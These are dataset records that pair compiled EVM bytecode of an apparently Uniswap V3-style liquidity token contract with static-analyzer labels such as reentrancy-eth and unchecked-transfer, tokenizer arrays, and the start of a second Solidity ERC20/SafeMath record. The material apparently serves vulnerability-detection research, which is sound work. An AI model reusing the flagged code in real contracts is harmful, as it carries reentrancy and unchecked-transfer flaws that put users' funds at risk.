01b031681565b4690565b60008383836040516020016127fb9392919061575d565b6040516020818303038152906040528051906020012090509392505050565b3390565b6001600160a01b0383166128445760405162461bcd60e51b8152600401610a6790615a97565b6001600160a01b03821661286a5760405162461bcd60e51b8152600401610a6790615d25565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906128c5908590615934565b60405180910390a3505050565b601454600954600091612904916001600160a01b031690600160a01b8104600290810b91600160b81b9004900b613b5b565b6001600160801b031690508061291a57506129a0565b600080612925613bf6565b9150915061293582600f54613f3c565b600f55601054612946908290613f3c565b6010556001600160a01b0384161561299c57336000908152600860205260409020600f54612975908690613f7f565b8155600f54600282015560105461298d908690613ff4565b60018201556010546003909101555b5050505b50565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216906370a08231906129f29030906004016157c9565b60206040518083038186803b158015612a0a57600080fd5b505afa158015612a1e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101191906156d4565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec716906370a08231906129f29030906004016157c9565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316846001600160a01b0316148015612ad25750804710155b15612bf1577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b158015612b3257600080fd5b505af1158015612b46573d6000803e3d6000fd5b505060405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216935063a9059cbb9250612b999150859085906004016158c6565b602060405180830381600087803b158015612bb357600080fd5b505af1158015612bc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612beb9190615458565b5061299c565b6001600160a01b038316301415612c1257612c0d848383614060565b61299c565b61299c8484848461417b565b600080866001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b158015612c5a57600080fd5b505afa158015612c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c92919061560b565b5050505050509050612cb781612ca786614298565b612cb086614298565b89896145be565b9150505b95945050505050565b60008080612cdc6001600160a01b0389168888613b5b565b9050846001600160801b0316816001600160801b03161015612cfd57600080fd5b60405163a34123a760e01b81526001600160a01b0389169063a34123a790612d2d908a908a908a906004016159c9565b6040805180830381600087803b158015612d4657600080fd5b505af1158015612d5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d7e919061548e565b909350915082151580612d915750600082115b15612e3857876001600160a01b0316634f1eb3d8858989612db188614680565b612dba88614680565b6040518663ffffffff1660e01b8152600401612dda959493929190615889565b6040805180830381600087803b158015612df357600080fd5b505af1158015612e07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e2b9190615583565b506001600160801b031692505b509550959350505050565b80820382811115610a1a57600080fd5b6001600160a01b038316612e795760405162461bcd60e51b8152600401610a6790615b44565b6001600160a01b038216612e9f5760405162461bcd60e51b8152600401610a6790615aee565b612eaa838383614696565b60408051808201825260038152622a22a160e91b6020808301919091526001600160a01b0386166000908152908190529190912054612eea918390612f6b565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612f1990826133c4565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906128c5908590615934565b8183038184821115612f905760405162461bcd60e51b8152600401610a679190615a12565b509392505050565b6000836001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b158015612fd357600080fd5b505afa158015612fe7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061300b919061560b565b5050505050915050600061301f858461469b565b905060008160020b8360020b136130385782820361303c565b8183035b90508460020b8160020b13156127c95760405162461bcd60e51b8152600401610a6790615c7e565b600080600085116130875760405162461bcd60e51b8152600401610a6790615a5f565b600061309d6001600160a01b038a168989613b5b565b90506000866130b56001600160801b038416886147db565b816130bc57fe5b049050801561320857896001600160a01b031663a34123a78a8a6130df85614680565b6040518463ffffffff1660e01b81526004016130fd939291906159c9565b6040805180830381600087803b15801561311657600080fd5b505af115801561312a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061314e919061548e565b9094509250831515806131615750600083115b1561320857896001600160a01b0316634f1eb3d8868b8b61318189614680565b61318a89614680565b6040518663ffffffff1660e01b81526004016131aa959493929190615889565b6040805180830381600087803b1580156131c357600080fd5b505af11580156131d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131fb9190615583565b506001600160801b031693505b5050965096945050505050565b6001600160a01b03821661323b5760405162461bcd60e51b8152600401610a6790615ab5565b61324782600083614696565b60408051808201825260038152622122a160e91b6020808301919091526001600160a01b0385166000908152908190529190912054613287918390612f6b565b6001600160a01b0383166000908152602081905260409020556002546132ad9082612e43565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906132ee908590615934565b60405180910390a35050565b60007f00000000000000000000000000000000000000000000000000000000000000016133256127e0565b141561335257507f99fa9458d8914fed361a5a040d18f5bb5bb130d07da89839a22b3e18186ae0ad61093c565b6133bd7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f51cb80f0fe2d7ed12c75b91cb23a09c811abc99c02d739898a1b3af4c20f7ca07fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc66147fe565b905061093c565b80820182811015610a1a57600080fd5b60006133ea6001600160a01b0385168484613b5b565b90506001600160801b0381161561347f5760405163a34123a760e01b81526001600160a01b0385169063a34123a79061342b908690869086906004016159c9565b6040805180830381600087803b15801561344457600080fd5b505af1158015613458573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061347c919061548e565b50505b6040516309e3d67b60e31b81526001600160a01b03851690634f1eb3d8906134ba903090879087906001600160801b03908190600401615889565b6040805180830381600087803b1580156134d357600080fd5b505af11580156134e7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127c99190615583565b600080600061351a86856139db565b858103979501955050505050565b6000806000866001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561356657600080fd5b505afa15801561357a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061359e919061560b565b50505050505090506135c2816135b387614298565b6135bc87614298565b89614820565b92509250505b94509492505050565b60006135e7856135e18685612e43565b906147db565b6135f5856135e18887612e43565b11613601576000612cbb565b600195945050505050565b900490565b60006001600160a01b038316158061365a5750816001600160a01b0316836001600160a01b03168385029250826001600160a01b03168161364e57fe5b046001600160a01b0316145b610a1a57600080fd5b8082016001600160a01b038084169082161015610a1a57600080fd5b8082036001600160a01b038084169082161115610a1a57600080fd5b60008060006040518060e00160405280888152602001878152602001600081526020016000815260200160006001600160801b03168152602001600060020b8152602001600060020b8152509050600080896001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561372557600080fd5b505afa158015613739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061375d919061560b565b50505050509150915061377181888861350b565b600290810b810b60c0860181905291810b900b60a085018190528451602086015161379e938e93906148bb565b606085018190526040850182905260a085015160c08601516137c5938e9390929091612c1e565b6001600160801b0316608084015282516020840151604085015160608601516000936137f493909290916135d1565b90508015613839576000613813848660800151876000015160006148ea565b9050613827613821826149e4565b896139db565b600290810b900b60c08601525061386c565b600061385084866080015187602001516000614cf7565b905061385e613821826149e4565b600290810b900b60a0860152505b61387e8460a001518560c00151614dd3565b8360a0015195508360c001519450505050509550959350505050565b5490565b6001600160a01b03811660009081526006602052604081206138bf8161389a565b91506138ca81614e4b565b50919050565b6000610a1a6138dd6132fa565b83614e54565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08211156139255760405162461bcd60e51b8152600401610a6790615a25565b8360ff16601b148061393a57508360ff16601c145b6139565760405162461bcd60e51b8152600401610a6790615b9a565b60006001868686866040516000815260200160405260405161397b949392919061599d565b6020604051602081039080840390855afa15801561399d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166139d05760405162461bcd60e51b8152600401610a6790615c45565b90505b949350505050565b6000808260020b8460020b816139ed57fe5b05905060008460020b128015613a1457508260020b8460020b81613a0d57fe5b0760020b15155b15613a1e57600019015b90910292915050565b600060c0613a39836135e186806147db565b901c9392505050565b6000610d6a613a568364e8d4a510006147db565b613a8f7f00000000000000000000000000000000000000000000000000000000000f4240611697601154886147db90919063ffffffff16565b906133c4565b6001600160a01b038216613abb5760405162461bcd60e51b8152600401610a6790615cb6565b613ac760008383614696565b600254613ad490826133c4565b6002556001600160a01b038216600090815260208190526040902054613afa90826133c4565b6001600160a01b0383166000818152602081905260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906132ee908590615934565b4715613b5957613b593347614e87565b565b600080613b693085856127e4565b60405163514ea4bf60e01b81529091506001600160a01b0386169063514ea4bf90613b98908490600401615934565b60a06040518083038186803b158015613bb057600080fd5b505afa158015613bc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613be891906155b5565b509298975050505050505050565b60095460145460405163a34123a760e01b815260009283926001600160a01b039091169163a34123a791613c4591600160a01b8204600290810b92600160b81b9004900b9086906004016159c9565b6040805180830381600087803b158015613c5e57600080fd5b505af1158015613c72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c96919061548e565b50506009546014546040516309e3d67b60e31b815260009283926001600160a01b0390911691634f1eb3d891613cf3913091600160a01b8104600290810b92600160b81b909204900b906001600160801b03908190600401615889565b6040805180830381600087803b158015613d0c57600080fd5b505af1158015613d20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d449190615583565b6001600160801b031691506001600160801b031691506000613e1a7f00000000000000000000000000000000000000000000000000000000000f424062ffffff16611697601460009054906101000a90046001600160a01b03166001600160a01b031663b0e21e8a6040518163ffffffff1660e01b815260040160206040518083038186803b158015613dd657600080fd5b505afa158015613dea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e0e9190615699565b869062ffffff166147db565b90506000613e987f00000000000000000000000000000000000000000000000000000000000f424062ffffff16611697601460009054906101000a90046001600160a01b03166001600160a01b031663b0e21e8a6040518163ffffffff1660e01b815260040160206040518083038186803b158015613dd657600080fd5b600b54909150613ea890836133c4565b600b55600c54613eb890826133c4565b600c55613ec58483612e43565b9550613ed18382612e43565b600d54909550613ee190876133c4565b600d55600e54613ef190866133c4565b600e819055600d546040517f1ac56d7e866e3f5ea9aa92aa11758ead39a0a5f013f3fefb0f47cb9d008edd2792613f2c928892889290615dd4565b60405180910390a1505050509091565b600080613f47610c5a565b90508015613f7757613f6f613f688261169787670de0b6b3a76400006147db565b84906133c4565b915050610a1a565b509092915050565b6001600160a01b03821660009081526008602090815260408083208151608081018352815480825260018301549482019490945260028201549281018390526003909101546060820152916139d391613a8f90670de0b6b3a76400009061169790613feb908990612e43565b6135e18a6112db565b6001600160a01b03821660009081526008602090815260408083208151608081018352815481526001820154938101849052600282015492810192909252600301546060820181905290916139d391613a8f90670de0b6b3a76400009061169790613feb908990612e43565b600080846001600160a01b031663a9059cbb60e01b85856040516024016140889291906158c6565b60408051601f198184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009094169390931790925290516140f39190615792565b6000604051808303816000865af19150503d8060008114614130576040519150601f19603f3d011682016040523d82523d6000602084013e614135565b606091505b509150915081801561415f57508051158061415f57508080602001905181019061415f9190615458565b611de05760405162461bcd60e51b8152600401610a6790615bef565b600080856001600160a01b03166323b872dd60e01b8686866040516024016141a5939291906157dd565b60408051601f198184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009094169390931790925290516142109190615792565b6000604051808303816000865af19150503d806000811461424d576040519150601f19603f3d011682016040523d82523d6000602084013e614252565b606091505b509150915081801561427c57508051158061427c57508080602001905181019061427c9190615458565b6127c95760405162461bcd60e51b8152600401610a6790615c61565b60008060008360020b126142af578260020b6142b7565b8260020b6000035b9050620d89e88111156142dc5760405162461bcd60e51b8152600401610a6790615bb7565b6000600182166142fd5770010000000000000000000000000000000061430f565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff1690506002821615614343576ffff97272373d413259a46990580e213a0260801c5b6004821615614362576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b6008821615614381576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b60108216156143a0576fffcb9843d60f6159c9db58835c9266440260801c5b60208216156143bf576fff973b41fa98c081472e6896dfb254c00260801c5b60408216156143de576fff2ea16466c96a3843ec78b326b528610260801c5b60808216156143fd576ffe5dee046a99a2a811c461f1969c30530260801c5b61010082161561441d576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b61020082161561443d576ff987a7253ac413176f2b074cf7815e540260801c5b61040082161561445d576ff3392b0822b70005940c7a398e4b70f30260801c5b61080082161561447d576fe7159475a2c29b7443b29c7fa6e889d90260801c5b61100082161561449d576fd097f3bdfd2022b8845ad8f792aa58250260801c5b6120008216156144bd576fa9f746462d870fdf8a65dc1f90e061e50260801c5b6140008216156144dd576f70d869a156d2a1b890bb3df62baf32f70260801c5b6180008216156144fd576f31be135f97d08fd981231505542fcfa60260801c5b6201000082161561451e576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b6202000082161561453e576e5d6af8dedb81196699c329225ee6040260801c5b6204000082161561455d576d2216e584f5fa1ea926041bedfe980260801c5b6208000082161561457a576b048a170391f7dc42444e8fa20260801c5b60008460020b131561459557806000198161459157fe5b0490505b6401000000008106156145a95760016145ac565b60005b60ff16602082901c0192505050919050565b6000836001600160a01b0316856001600160a01b031611156145de579293925b846001600160a01b0316866001600160a01b03161161460957614602858585614f14565b9050612cbb565b836001600160a01b0316866001600160a01b0316101561466b576000614630878686614f14565b9050600061463f878986614f77565b9050806001600160801b0316826001600160801b0316106146605780614662565b815b92505050612cbb565b614676858584614f77565b9695505050505050565b806001600160801b03811681146112f557600080fd5b505050565b60408051600280825260608201835260009284928492909160208301908036833701905050905081816000815181106146d057fe5b602002602001019063ffffffff16908163ffffffff16815250506000816001815181106146f957fe5b63ffffffff9092166020928302919091019091015260405163883bdbfd60e01b81526000906001600160a01b0387169063883bdbfd9061473d9085906004016158df565b60006040518083038186803b15801561475557600080fd5b505afa158015614769573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526147919190810190615390565b5090508263ffffffff16816000815181106147a857fe5b6020026020010151826001815181106147bd57fe5b60200260200101510360060b816147d057fe5b059695505050505050565b600082158061365a575050818102818382816147f357fe5b0414610a1a57600080fd5b600083838361480b6127e0565b306040516020016127fb959493929190615971565b600080836001600160a01b0316856001600160a01b03161115614841579293925b846001600160a01b0316866001600160a01b03161161486c57614865858585614fb4565b91506135c8565b836001600160a01b0316866001600160a01b031610156148a557614891868585614fb4565b915061489e85878561501d565b90506135c8565b6148b085858561501d565b905094509492505050565b60008060006148cd8888888888612c1e565b90506148db88828787613528565b90999098509650505050505050565b6000826148f85750836139d3565b7bffffffffffffffffffffffffffffffff000000000000000000000000606085901b168215614998576001600160a01b0386168481029085828161493857fe5b041415614969578181018281106149675761495d83896001600160a01b031683615060565b93505050506139d3565b505b61498f8261498a878a6001600160a01b0316868161498357fe5b04906133c4565b61509a565b925050506139d3565b6001600160a01b038616848102908582816149af57fe5b041480156149bc57508082115b6149c557600080fd5b80820361495d6149df846001600160a01b038b1684615060565b6150a5565b60006401000276a36001600160a01b03831610801590614a20575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038316105b614a3c5760405162461bcd60e51b8152600401610a6790615d0a565b77ffffffffffffffffffffffffffffffffffffffff00000000602083901b166001600160801b03811160071b81811c67ffffffffffffffff811160061b90811c63ffffffff811160051b90811c61ffff811160041b90811c60ff8111600390811b91821c600f811160021b90811c918211600190811b92831c97908811961790941790921717909117171760808110614add57607f810383901c9150614ae7565b80607f0383901b91505b908002607f81811c60ff83811c9190911c800280831c81831c1c800280841c81841c1c800280851c81851c1c800280861c81861c1c800280871c81871c1c800280881c81881c1c800280891c81891c1c8002808a1c818a1c1c8002808b1c818b1c1c8002808c1c818c1c1c8002808d1c818d1c1c8002808e1c9c81901c9c909c1c80029c8d901c9e9d607f198f0160401b60c09190911c678000000000000000161760c19b909b1c674000000000000000169a909a1760c29990991c672000000000000000169890981760c39790971c671000000000000000169690961760c49590951c670800000000000000169490941760c59390931c670400000000000000169290921760c69190911c670200000000000000161760c79190911c670100000000000000161760c89190911c6680000000000000161760c99190911c6640000000000000161760ca9190911c6620000000000000161760cb9190911c6610000000000000161760cc9190911c6608000000000000161760cd9190911c66040000000000001617693627a301d71055774c8581026f028f6481ab7f045a5af012a19d003aa9198101608090811d906fdb2df09e81959a81455e260799a0632f8301901d600281810b9083900b14614ce857886001600160a01b0316614ccc82614298565b6001600160a01b03161115614ce15781614ce3565b805b614cea565b815b9998505050505050505050565b60008115614d655760006001600160a01b03841115614d2d57614d2884600160601b876001600160801b03166150bb565b614d45565b6001600160801b038516606085901b81614d4357fe5b045b9050614d5d6149df6001600160a01b038816836133c4565b9150506139d3565b60006001600160a01b03841115614d9357614d8e84600160601b876001600160801b0316615060565b614daa565b614daa606085901b6001600160801b03871661509a565b905080866001600160a01b031611614dc157600080fd5b6001600160a01b0386160390506139d3565b8060020b8260020b12614df85760405162461bcd60e51b8152600401610a6790615a42565b620d89e719600283900b1215614e205760405162461bcd60e51b8152600401610a6790615c28565b620d89e8600282900b1315614e475760405162461bcd60e51b8152600401610a6790615c0b565b5050565b80546001019055565b60008282604051602001614e699291906157ae565b60405160208183030381529060405280519060200120905092915050565b604080516000808252602082019092526001600160a01b038416908390604051614eb19190615792565b60006040518083038185875af1925050503d8060008114614eee576040519150601f19603f3d011682016040523d82523d6000602084013e614ef3565b606091505b50509050806146965760405162461bcd60e51b8152600401610a6790615b61565b6000826001600160a01b0316846001600160a01b03161115614f34579192915b6000614f57856001600160a01b0316856001600160a01b0316600160601b6150bb565b9050612cbb614f7284838888036001600160a01b03166150bb565b614680565b6000826001600160a01b0316846001600160a01b03161115614f97579192915b6139d3614f7283600160601b8787036001600160a01b03166150bb565b6000826001600160a01b0316846001600160a01b03161115614fd4579192915b836001600160a01b031661500d606060ff16846001600160801b0316901b8686036001600160a01b0316866001600160a01b03166150bb565b8161501457fe5b04949350505050565b6000826001600160a01b0316846001600160a01b0316111561503d579192915b6139d3826001600160801b03168585036001600160a01b0316600160601b6150bb565b600061506d8484846150bb565b90506000828061507957fe5b8486091115610d6a57600019811061509057600080fd5b6001019392505050565b808204910615150190565b806001600160a01b03811681146112f557600080fd5b60008080600019858709868602925082811090839003039050806150f157600084116150e657600080fd5b508290049050610d6a565b8084116150fd57600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150509392505050565b600082601f83011261517a578081fd5b8151602061518f61518a83615e21565b615dfd565b82815281810190858301838502870184018810156151ab578586fd5b855b858110156151d25781516151c081615e6b565b845292840192908401906001016151ad565b5090979650505050505050565b60008083601f8401126151f0578182fd5b50813567ffffffffffffffff811115615207578182fd5b60208301915083602082850101111561521f57600080fd5b9250929050565b8051600281900b81146112f557600080fd5b80516001600160801b03811681146112f557600080fd5b805161ffff811681146112f557600080fd5b600060208284031215615272578081fd5b8135610d6a81615e6b565b6000806040838503121561528f578081fd5b823561529a81615e6b565b915060208301356152aa81615e6b565b809150509250929050565b6000806000606084860312156152c9578081fd5b83356152d481615e6b565b925060208401356152e481615e6b565b929592945050506040919091013590565b600080600080600080600060e0888a03121561530f578283fd5b873561531a81615e6b565b9650602088013561532a81615e6b565b95506040880135945060608801359350608088013561534881615e8e565b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215615377578182fd5b823561538281615e6b565b946020939093013593505050565b600080604083850312156153a2578182fd5b825167ffffffffffffffff808211156153b9578384fd5b818501915085601f8301126153cc578384fd5b815160206153dc61518a83615e21565b82815281810190858301838502870184018b10156153f8578889fd5b8896505b848710156154285780518060060b811461541457898afd5b8352600196909601959183019183016153fc565b5091880151919650909350505080821115615441578283fd5b5061544e8582860161516a565b9150509250929050565b600060208284031215615469578081fd5b8151610d6a81615e80565b600060208284031215615485578081fd5b610d6a82615226565b600080604083850312156154a0578182fd5b505080516020909101519092909150565b600080600080606085870312156154c6578182fd5b8435935060208501359250604085013567ffffffffffffffff8111156154ea578283fd5b6154f6878288016151df565b95989497509550505050565b600060208284031215615513578081fd5b6040516020810181811067ffffffffffffffff8211171561553057fe5b604052823561553e81615e6b565b81529392505050565b600060208284031215615558578081fd5b6040516020810181811067ffffffffffffffff8211171561557557fe5b604052823561553e81615e80565b60008060408385031215615595578182fd5b61559e83615238565b91506155ac60208401615238565b90509250929050565b600080600080600060a086880312156155cc578283fd5b6155d586615238565b945060208601519350604086015192506155f160608701615238565b91506155ff60808701615238565b90509295509295909350565b600080600080600080600060e0888a031215615625578081fd5b875161563081615e6b565b965061563e60208901615226565b955061564c6040890161524f565b945061565a6060890161524f565b93506156686080890161524f565b925060a088015161567881615e8e565b60c089015190925061568981615e80565b8091505092959891949750929550565b6000602082840312156156aa578081fd5b815162ffffff81168114610d6a578182fd5b6000602082840312156156cd578081fd5b5035919050565b6000602082840312156156e5578081fd5b5051919050565b600080604083850312156156fe578182fd5b50508035926020909101359150565b60006020828403121561571e578081fd5b815163ffffffff81168114610d6a578182fd5b60008151808452615749816020860160208601615e3f565b601f01601f19169290920160200192915050565b60609390931b6bffffffffffffffffffffffff19168352600291820b60e890811b6014850152910b901b6017820152601a0190565b600082516157a4818460208701615e3f565b9190910192915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b60006001600160a01b038088168352861515602084015285604084015280851660608401525060a0608083015261583b60a0830184615731565b979650505050505050565b60006001600160a01b03871682528560020b60208301528460020b60408301526001600160801b038416606083015260a0608083015261583b60a0830184615731565b6001600160a01b03959095168552600293840b60208601529190920b60408401526001600160801b03918216606084015216608082015260a00190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b8181101561591d57835163ffffffff16835292840192918401916001016158fb565b50909695505050505050565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9485526020850193909352604084019190915260608301526001600160a01b0316608082015260a00190565b93845260ff9290921660208401526040830152606082015260800190565b60029190910b815260200190565b600293840b81529190920b60208201526001600160801b03909116604082015260600190565b600294850b81529290930b60208301526040820152606081019190915260800190565b600060208252610d6a6020830184615731565b60208082526003908201526249535360e81b604082015260600190565b602080825260039082015262544c5560e81b604082015260600190565b602080825260029082015261545360f01b604082015260600190565b602080825260029082015261115160f21b604082015260600190565b60208082526004908201526341465a4160e01b604082015260600190565b602080825260039082015262425a4160e81b604082015260600190565b602080825260029082015261504760f01b604082015260600190565b602080825260039082015262545a4160e81b604082015260600190565b60208082526003908201526220a72b60e91b604082015260600190565b602080825260029082015261413160f01b604082015260600190565b602080825260039082015262465a4160e81b604082015260600190565b60208082526003908201526253544560e81b604082015260600190565b602080825260029082015261041360f41b604082015260600190565b60208082526003908201526224a9ab60e91b604082015260600190565b6020808252600190820152601560fa1b604082015260600190565b6020808252600390820152624d545360e81b604082015260600190565b60208082526002908201526114d560f21b604082015260600190565b60208082526003908201526254554d60e81b604082015260600190565b602080825260039082015262544c4d60e81b604082015260600190565b602080825260029082015261495360f01b604082015260600190565b60208082526003908201526229aa2360e91b604082015260600190565b60208082526003908201526250534360e81b604082015260600190565b6020808252600190820152605360f81b604082015260600190565b6020808252600390820152624d5a4160e81b604082015260600190565b6020808252600290820152614e4160f01b604082015260600190565b6020808252600190820152602360f91b604082015260600190565b6020808252600190820152602960f91b604082015260600190565b60208082526004908201526341545a4160e01b604082015260600190565b602080825260029082015261524360f01b604082015260600190565b90516001600160a01b0316815260200190565b90511515815260200190565b6001600160801b0395861681526020810194909452604084019290925283166060830152909116608082015260a00190565b918252602082015260400190565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715615e1957fe5b604052919050565b600067ffffffffffffffff821115615e3557fe5b5060209081020190565b60005b83811015615e5a578181015183820152602001615e42565b8381111561299c5750506000910152565b6001600160a01b03811681146129a057600080fd5b80151581146129a057600080fd5b60ff811681146129a057600080fdfea26469706673582212201e7b4e626194430c58413427c10eb87d134bd042ae3235f37258728bed66757164736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 2692, 22907, 2581, 2575, 6679, 2692, 15878, 2497, 2620, 3207, 2497, 22394, 2050, 23352, 2692, 19481, 7011, 2497, 2629, 2497, 2629, 2094, 2575, 10322, 2497, 23777, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1021, 1012, 1020, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 6390, 2475, 1031, 1041, 11514, 6390, 2475, 1033, 2003, 1037, 3115, 2005, 23325, 2075, 1998, 6608, 1997, 21189, 14336, 2951, 1012, 1008, 1008, 1996, 17181, 9675, 1999, 1996, 1041, 11514, 2003, 2200, 12391, 1010, 1998, 2107, 1037, 12391, 7375, 1999, 5024, 3012, 2003, 2025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,383
0x96b0bf939d9460095c15251f71fda11e41dcbddb
/* * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c 